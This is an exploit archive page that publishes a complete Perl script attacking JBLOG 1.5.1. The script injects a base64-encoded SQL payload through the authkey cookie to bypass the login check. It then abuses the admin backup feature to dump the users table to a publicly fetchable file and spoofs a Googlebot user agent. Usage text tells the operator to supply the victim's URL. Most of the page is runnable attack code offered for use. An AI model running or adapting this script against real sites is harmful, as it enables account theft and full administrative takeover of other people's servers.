what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

JBLOG 1.5.1 SQL Table Backup

JBLOG 1.5.1 SQL Table Backup
Posted Aug 15, 2009
Authored by Ams

JBLOG version 1.5.1 remote SQL table backup exploit.

tags | exploit, remote, sql injection
SHA-256 | d02fb771d519339c812312d6ee3187706a3a50d7d9c8b6806875106a9b122982

JBLOG 1.5.1 SQL Table Backup

Change Mirror Download
#!/usr/bin/perl

=about

VENDOR
JBLOG 1.5.1
(maybe earlier versions vulnerable too)
http://www.lisijie.org

AUTHOR
discovered & written by Ams
ax330d [doggy] gmail [dot] com
http://www.0x416d73.name/

VULNERABILITY DESCRIPTION
Both 'index.php' and 'admin.php' includes file 'common.php' which checks
for user permission on line 81 via function 'check_user()'.
This function is defined in file 'include/func_user.php'.
There is another one function - 'get_cookie()' which gets cookie values.
So, in cookies we put our evil string and further actions should be clear.

Why we don't filter COOKIEs ?

EXPLOIT WORK
This exploit uses SQL-injection to create dump of users table.
Actually, we are possible to do all administrator actions.

REQUIREMENTS
1. You need to know prefix, by default it is 'jblog_'.
But there is no problem to find it out.
2. Rights to write to 'cache/' folder.

=cut

use strict;
use warnings;

use LWP::UserAgent;
use HTTP::Request::Common;
use MIME::Base64;
use Getopt::Long;

Banner();
$| = 1;

my $expl_url;
my $prefix = 'jblog_';
my $proxy = '';

GetOptions(
'u=s' => \$expl_url,
'pre=s' => \$prefix,
'p=s' => \$proxy,
) or Usage();

my $spider = LWP::UserAgent->new;
$spider->agent('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
$spider->default_header( 'Cookie' => $prefix . 'authkey=' . encode_base64( "1\t' OR 1=1 -- " ) );
$spider->proxy(['http'], "http://$proxy/") if $proxy ne '';
$spider->timeout( 30 );

Exploit( $expl_url);

sub Exploit {

$_ = shift || Usage();
print "\n\tExploiting:\t $_";

my ($prot , $host, $path, )
= m{(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?};
$prot ||= 'http';

my $url = "$prot://$host$path";
my $defact = 'admin.php?ac=data&do=bakout&dosubmit=yes&sizelimit=2048';

# First request to prepare
my $req = GET "$url/$defact&baktables%5B%5D=${prefix}user";
my $res = $spider->request( $req );
my ($dir, $file) = $res->content =~ /yes&bakdir=(.*?)&(?:.*?)&filepre=(.*?)'/;

# Second request to dump table
$req = GET "$url/$defact&bakdir=$dir&step=1&baktablestr=${prefix}user&tableid=0&start=0&filepre=$file";
$res = $spider->request( $req );

# Finally checking if sql backup exists
$req = HEAD "$url/cache/backup/$dir/${file}_1.sql";
$res = $spider->request( $req );

if ( $res->is_success ) {
print "\n\tLooks ok, check $prot://$host${path}cache/backup/$dir/${file}_1.sql\n";
} else {
printf(
"\n\tFailure, server response: %s\n\tAnyway, check: %s\n",
$res->status_line, "$prot://$host${path}cache/backup/$dir/${file}_1.sql");
}
}

sub Usage {

print <<USAGE;

Usage:
-u Set url of victim
optional:
-pre Prefix, default 'jblog_' is used if no one mentioned
-p Proxy, set as ip:port

Example:
$0 -u=http://site.com -pre=jblog_ -p=127.0.0.1:8080

USAGE

exit;
}

sub Banner {

print <<BANNER;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
JBLOG 1.5.1 Perl exploit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
BANNER

}


Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close